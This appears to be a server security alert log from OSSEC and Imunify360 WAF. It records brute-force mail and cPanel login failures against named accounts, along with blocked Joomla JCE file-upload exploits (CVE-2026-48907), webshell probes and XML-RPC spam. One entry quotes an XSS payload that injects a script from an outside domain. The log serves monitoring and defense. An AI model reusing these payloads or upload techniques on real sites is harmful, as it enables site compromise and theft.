name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-13 21:34:59 dovecot_login authenticator failed for H=([49.124.154.173]) [27.110.176.222]:38460: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.143.45
country_id: 99237
description:
2026-07-13 21:39:16 dovecot_login authenticator failed for H=([72.207.109.1]) [65.20.143.45]:42667: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-13 21:39:03 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [182.95.150.106]:34646: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.68
country_id: 1733045
description:
2026-07-13 21:40:02 dovecot_login authenticator failed for H=([107.181.161.85]) [49.125.201.68]:52164: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.247.84
country_id: 1269750
description:
2026-07-13 21:40:21 dovecot_login authenticator failed for H=([183.171.145.55]) [203.192.247.84]:56262: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77469916
abuser: 103.253.24.90
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcekjr8bysb.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 110.235.219.222
country_id: 1269750
domain: cochinbigbandshow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:62718.cochinbigbandshow.com||ServerName:cochinbigbandshow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c0fddb5a47813cb297367d5f8d35978bb854e8ef||Title:0xf571da3b||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.207.225.55
country_id: 6252001
description:
2026-07-13 21:50:18 dovecot_login authenticator failed for H=wsip-64-207-225-55.tu.ok.cox.net (211-21-168-139.hinet-ip.hinet.net) [64.207.225.55]:47258: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.155.216.231
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/142.0.0.0 Safari/537.36||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.5.129.68
country_id: 3017382
description:
2026-07-13 21:51:37 dovecot_login authenticator failed for H=68.129.5.84.rev.sfr.net ([117.244.16.6]) [84.5.129.68]:52241: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.146.166
country_id: 1269750
description:
2026-07-13 21:52:06 dovecot_login authenticator failed for H=([218.52.113.36]) [122.185.146.166]:50864: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77896900
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 178.128.58.89
country_id: 1880251
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:adminlin||User:ahsmarine||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-13 21:53:34 dovecot_login authenticator failed for H=(177-72-87-7.static.as262543.net.br) [128.185.208.42]:46492: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 37.72.141.62
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://meneercasino.com/slot-reviews/wild-rockets\">best sildenafil tablet</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.172
country_id: 1668284
description:
2026-07-13 21:54:36 dovecot_login authenticator failed for H=110-25-107-172.adsl.fetnet.net (181-212-174-166.baf.movistar.cl) [110.25.107.172]:43646: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 190.161.171.243
country_id: 3895114
domain: combinations.in
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:42456.combinations.in||ServerName:combinations.in||Method:metaWeblog.newPost||BlogID:1||TitleSHA:25fa17365db85ef4efe251e9019058d234e541a8||Title:0x44a77220||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-13 21:56:01 dovecot_login authenticator failed for H=([49.124.152.242]) [125.23.255.134]:46258: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 155.94.163.239
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:160587||Sizes:1385||Combined size:1385||User:futuracarecom||WPU:||Filename:Default.xml||Scanned:/tmp//20260713-215551-alURj8uiSe5vojnd9m3AzAAAAIQ-file-9zHgJP||SC:/home/futuracarecom/public_html/administrator/index.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 155.94.163.239
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:profile_file||MV:Default.xml||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.214.44.117
country_id: 149590
description:
2026-07-13 21:55:41 dovecot_login authenticator failed for H=([123.116.141.82]) [102.214.44.117]:33124: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 155.94.163.239
country_id: 6252001
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:file||MV:up_1995.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 178.128.58.89
country_id: 1880251
domain: ahsmarine.com
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:wadminw@wordpress.com||User:ahsmarine||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-13 21:58:22 dovecot_login authenticator failed for H=([123.118.230.64]) [122.169.40.221]:41578: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-13 21:58:43 dovecot_login authenticator failed for H=([24.249.199.9]) [106.245.246.26]:55977: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-13 22:02:32 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [122.169.40.221]:37456: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.225
country_id: 1733045
description:
2026-07-13 22:03:18 dovecot_login authenticator failed for H=([222.219.232.57]) [49.124.152.225]:55102: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-07-13 22:03:24 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [196.188.187.21]:36796: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-13 22:03:41 dovecot_login authenticator failed for H=([49.125.201.77]) [50.190.89.138]:51616: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-13 22:08:17 dovecot_login authenticator failed for H=([218.94.115.164]) [188.122.39.33]:38696: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.66.168
country_id: 1835841
description:
2026-07-13 22:08:00 dovecot_login authenticator failed for H=([112.184.112.93]) [220.80.66.168]:39851: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.38.3.184
country_id: 2215636
description:
2026-07-13 22:08:01 dovecot_login authenticator failed for H=([49.124.159.192]) [102.38.3.184]:50480: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-13 22:08:40 dovecot_login authenticator failed for H=(221-120-78-177.emome-ip.hinet.net) [125.23.155.110]:53512: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-13 22:08:21 dovecot_login authenticator failed for H=([210.112.227.218]) [152.52.192.162]:40898: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.212.29
country_id: 2661886
description:
2026-07-13 22:08:28 dovecot_login authenticator failed for H=90-230-212-29-no2550.tbcn.telia.com ([49.124.153.52]) [90.230.212.29]:52414: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-13 22:13:11 dovecot_login authenticator failed for H=(111-70-23-240.emome-ip.hinet.net) [181.61.251.4]:41640: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.233.203.159
country_id: 2661886
description:
2026-07-13 22:13:24 dovecot_login authenticator failed for H=89-233-203-159.cust.bredband2.com ([111.70.34.60]) [89.233.203.159]:55014: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-13 22:13:48 dovecot_login authenticator failed for H=(ip-68-71-242-113.hosts.zerolag.com) [182.78.86.62]:37864: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.82
country_id: 1733045
description:
2026-07-13 22:19:57 dovecot_login authenticator failed for H=(www.waw.com.tw) [49.124.151.82]:39542: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.228.194
country_id: 1269750
description:
2026-07-13 22:20:11 dovecot_login authenticator failed for H=([222.71.122.90]) [182.95.228.194]:43750: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-07-13 22:22:49 dovecot_plain authenticator failed for H=89-253-90-113.customers.ownit.se (tocous) [89.253.90.113]:39375: 535 Incorrect authentication data (set_id=sales@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-13 22:23:08 dovecot_login authenticator failed for H=([182.95.22.208]) [117.211.15.93]:54286: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.59.200.166
country_id: 149590
description:
2026-07-13 22:22:50 dovecot_login authenticator failed for H=(netcomafrica.com) [41.59.200.166]:41197: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.58
country_id: 1036973
description:
2026-07-13 22:23:14 dovecot_login authenticator failed for H=([58.56.128.190]) [197.219.208.58]:53356: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-13 22:23:29 dovecot_login authenticator failed for H=([174.64.199.87]) [196.189.59.226]:47530: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-13 22:26:14 dovecot_login authenticator failed for H=([46.163.189.191]) [103.130.207.227]:39552: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77469916
abuser: 38.253.224.42
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nx61921.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.8.107.113
country_id: 1835841
description:
2026-07-13 22:29:34 dovecot_login authenticator failed for H=([183.171.61.10]) [59.8.107.113]:39466: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-13 22:30:17 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net ([49.124.153.55]) [65.73.230.102]:41358: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.209.51
country_id: 2661886
description:
2026-07-13 22:33:09 dovecot_login authenticator failed for H=h-155-4-209-51.a463.priv.bahnhof.se ([182.95.181.50]) [155.4.209.51]:35286: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-13 22:33:42 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 217.154.253.108
country_id: 2921044
description:
[2026-07-13 22:36:07 +0530] info [whostmgrd] 217.154.253.108 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.154.253.108
country_id: 2921044
description:
[2026-07-13 22:36:08 +0530] info [whostmgrd] 217.154.253.108 - root "GET /cpsess7228763936/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.10
country_id: 1668284
description:
2026-07-13 22:37:19 dovecot_login authenticator failed for H=111-70-32-10.emome-ip.hinet.net ([68.71.247.133]) [111.70.32.10]:34212: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-13 22:37:48 dovecot_login authenticator failed for H=([192.111.130.1]) [113.193.187.154]:53094: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.250.118.3
country_id: 3865483
description:
2026-07-13 22:39:36 dovecot_login authenticator failed for H=(50.250.223.60.adsl-pool.sx.cn) [167.250.118.3]:60135: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-13 22:41:25 dovecot_login authenticator failed for H=(static.navega.com.ni) [203.252.10.3]:49841: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-07-13 22:46:23 dovecot_login authenticator failed for H=([102.38.3.107]) [61.37.150.6]:43495: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-07-13 22:51:27 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net ([49.124.150.250]) [76.132.238.43]:38864: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.216.6.17
country_id: 2077456
description:
2026-07-13 22:51:37 dovecot_login authenticator failed for H=139-216-6-17.sta.dodo.net.au ([88.84.209.146]) [139.216.6.17]:37159: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.252
country_id: 1668284
description:
2026-07-13 22:51:54 dovecot_login authenticator failed for H=111-70-23-252.emome-ip.hinet.net ([184.185.2.1]) [111.70.23.252]:53315: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-13 22:54:34 dovecot_login authenticator failed for H=([142.54.225.52]) [144.24.209.174]:57889: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-13 22:55:28 dovecot_login authenticator failed for H=([98.181.137.75]) [50.190.89.138]:57236: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-13 22:57:18 dovecot_login authenticator failed for H=([72.207.109.1]) [217.29.30.135]:43903: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-07-13 22:57:44 dovecot_login authenticator failed for H=([198.8.91.78]) [175.203.199.118]:6679: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.58
country_id: 1668284
description:
2026-07-13 22:58:09 dovecot_login authenticator failed for H=110-25-109-58.adsl.fetnet.net ([197.219.228.242]) [110.25.109.58]:59381: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.57.196
country_id: 1835841
description:
2026-07-13 22:59:10 dovecot_login authenticator failed for H=([199.229.254.131]) [112.160.57.196]:55902: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-13 22:59:20 dovecot_login authenticator failed for H=([49.124.153.55]) [202.62.88.25]:59408: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.26
country_id: 1269750
description:
2026-07-13 23:10:38 dovecot_login authenticator failed for H=([49.124.159.191]) [128.185.201.26]:42464: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 206.119.170.12
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.28||T:APACHE||MV:/components/com_sppagebuilder/addons/accordion/assets/images/template.php||SC:/home/alnay/public_html/components/com_sppagebuilder/addons/accordion/assets/images/template.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.91.46.151
country_id: 6252001
description:
2026-07-13 23:17:09 dovecot_login authenticator failed for H=(syn-024-105-160-100.biz.spectrum.com) [173.91.46.151]:56624: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-07-13 23:17:32 dovecot_login authenticator failed for H=([68.71.253.70]) [103.130.207.227]:50980: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.194
country_id: 1668284
description:
2026-07-13 23:18:12 dovecot_login authenticator failed for H=111-70-33-194.emome-ip.hinet.net (104-182-1-92.lightspeed.chtnsc.sbcglobal.net) [111.70.33.194]:49698: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.32.20.78
country_id: 3017382
description:
2026-07-13 23:19:04 dovecot_login authenticator failed for H=vps-5b692794.vps.ovh.net ([61.36.134.212]) [213.32.20.78]:45446: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.38.177.105
country_id: 1835841
description:
2026-07-13 23:18:30 dovecot_login authenticator failed for H=([59.29.219.54]) [14.38.177.105]:36892: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.237.155.113
country_id: 2661886
description:
2026-07-13 23:18:46 dovecot_login authenticator failed for H=81-237-155-113-no2400.tbcn.telia.com ([72.206.74.97]) [81.237.155.113]:53121: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.105.218.151
country_id: 1694008
description:
2026-07-13 23:21:01 dovecot_login authenticator failed for H=([121.73.169.149]) [124.105.218.151]:60488: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.124
country_id: 1036973
description:
2026-07-13 23:20:45 dovecot_login authenticator failed for H=([203.147.89.38]) [196.28.226.124]:41157: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.21
country_id: 337996
description:
2026-07-13 23:20:52 dovecot_login authenticator failed for H=(hn.kd.ny.adsl) [196.188.187.21]:56880: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.222.52.206
country_id: 1269750
description:
2026-07-13 23:20:57 dovecot_login authenticator failed for H=([220.189.209.18]) [117.222.52.206]:56272: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-13 23:21:26 dovecot_login authenticator failed for H=(SCZ-190-104-24-00006.tigo.bo) [125.23.255.134]:44774: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.80.17
country_id: 1835841
description:
2026-07-13 23:22:32 dovecot_login authenticator failed for H=(104-182-1-92.lightspeed.chtnsc.sbcglobal.net) [121.1.80.17]:47108: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.253.90.113
country_id: 2661886
description:
2026-07-13 23:22:57 dovecot_login authenticator failed for H=89-253-90-113.customers.ownit.se ([61.37.150.6]) [89.253.90.113]:43807: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 202.181.25.161
country_id: 1819730
domain: 103.185.74.189
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.28||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script src=\"https://js.aacaw.com/fp/v1.min.js||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.37.113.195
country_id: 1269750
domain: arcrealtors.com.au
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:12668.arcrealtors.com.au||ServerName:arcrealtors.com.au||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bb4b4baf45b259e6839a2ff6b50e0093d2d2c235||Title:0x80e79117||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 13.68.214.34
country_id: 6252001
description:
2026-07-13 23:42:09 dovecot_login authenticator failed for H=([183.63.220.210]) [13.68.214.34]:58008: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-13 23:42:19 dovecot_login authenticator failed for H=([220.182.14.60]) [119.92.76.210]:48504: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.101.138.172
country_id: 597427
description:
2026-07-13 23:41:52 dovecot_login authenticator failed for H=static-213-101-138-172.cust.tele2.lt ([195.211.39.144]) [213.101.138.172]:34058: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.190.179
country_id: 660013
description:
2026-07-13 23:42:42 dovecot_login authenticator failed for H=dsl-hkibng42-50dfbe-179.dhcp.inet.fi ([182.90.248.108]) [80.223.190.179]:60728: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-13 23:44:00 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca (13.15.190.94.interra.ru) [208.96.233.67]:43874: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-13 23:44:18 dovecot_login authenticator failed for H=(broadband-77-37-162-117.ip.moscow.rt.ru) [65.99.181.123]:39745: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-13 23:46:35 dovecot_login authenticator failed for H=([211.49.80.72]) [122.185.101.50]:45824: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.143
country_id: 1733045
description:
2026-07-13 23:46:53 dovecot_login authenticator failed for H=([220.77.214.59]) [49.124.152.143]:55794: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-07-13 23:53:07 dovecot_login authenticator failed for H=([72.214.108.73]) [203.123.219.137]:41357: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-14 00:00:32 dovecot_login authenticator failed for H=(177-0-238-190.bnut3703.dsl.brasiltelecom.net.br) [103.130.91.83]:57902: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.162.13.235
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/globalgroupoman.com/directors HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.73
country_id: 1269750
description:
2026-07-14 00:01:51 dovecot_login authenticator failed for H=(232.subnet-213.matrixglobal.net.id) [122.187.234.73]:32919: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-14 00:04:26 dovecot_login authenticator failed for H=([45.238.2.60]) [121.202.206.119]:55066: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.117.155.41
country_id: 1269750
description:
2026-07-14 00:04:38 dovecot_login authenticator failed for H=(211-22-222-251.hinet-ip.hinet.net) [103.117.155.41]:41854: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-14 00:09:18 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net (nsg-corporate-228.228.187.122.airtel.in) [110.25.114.8]:52011: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.142.194
country_id: 1269750
description:
2026-07-14 00:08:46 dovecot_login authenticator failed for H=([218.202.112.10]) [122.160.142.194]:41098: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-14 00:08:48 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [188.122.37.97]:55768: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 14 00:09:32 vps sshd[1081032]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
